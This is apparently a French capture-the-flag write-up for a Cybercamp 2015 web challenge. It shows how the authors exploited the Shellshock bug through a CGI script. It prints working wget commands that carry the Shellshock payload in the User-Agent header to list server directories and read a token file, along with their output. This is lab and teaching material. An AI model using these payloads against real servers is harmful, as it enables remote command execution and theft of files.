Français [Cybercamp 2015] [Web 13] Write Up

Sur la page d’accueil, nous avons un formulaire demandant l’heure en secondes, ainsi qu’une frame pointant vers un fichier .cgi, qui lui, affiche l’heure en toutes lettres.
Notre 1ère idée a été de faire un script qui se synchronise avec l’heure affichée par le .cgi afin de renvoyer l’heure exacte en secondes, au bon moment, mais cela n’a rien donné.
L’idée suivante a été meilleure, un script cgi, une faille, ne serait-ce pas une exploitation de notre chère vulnérabilité shellshock ?

Un petit test avec wget nous a redonné le sourire ! La subtilité ici était de ne pas oublier de mettre le chemin COMPLET vers le binaire de ls, sinon ça ne fonctionnait pas 😉

wget -U '() { :; }; echo; /bin/ls' -qO- http://challenge.cybercamp.es:8093/cgi-bin/date.cgi

Cette commande nous a retourné la liste des fichiers et dossiers du répertoire contenant date.cgi, mais rien d’intéressant à l’intérieur.
La suite était de deviner dans quel dossier se trouverait le flag.
Ayant vu dans les headers http que le serveur tournait sous apache, on essaye de lister le répertoire par défaut des fichiers web : /var/www/html.

$ wget -U '() { :; }; echo; /bin/ls -la /var/www/html' -qO- http://challenge.cybercamp.es:8093/cgi-bin/date.cgi
total 28
drwxr-xr-x 5 root root 4096 Jun 17 00:35 .
drwxr-xr-x 3 root root 4096 Jun 9 19:22 ..
drwxr-xr-x 2 root root 4096 Jul 22 11:51 css
-rw-r--r-- 1 root root 34   Jun 9 23:04 datet0ken
drwxr-xr-x 2 root root 4096 Jul 22 11:51 fonts
-rw-r--r-- 1 root root 1779 Jun 17 00:35 index.html
drwxr-xr-x 2 root root 4096 Jul 22 11:51 js

Super ! Il n’y a plus qu’à récupérer le token.

$ wget -U '() { :; }; echo; /bin/cat /var/www/html/datet0ken' -qO- http://challenge.cybercamp.es:8093/cgi-bin/date.cgi
7e88cc4325ac0a342ab1bb30f2706ba4

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *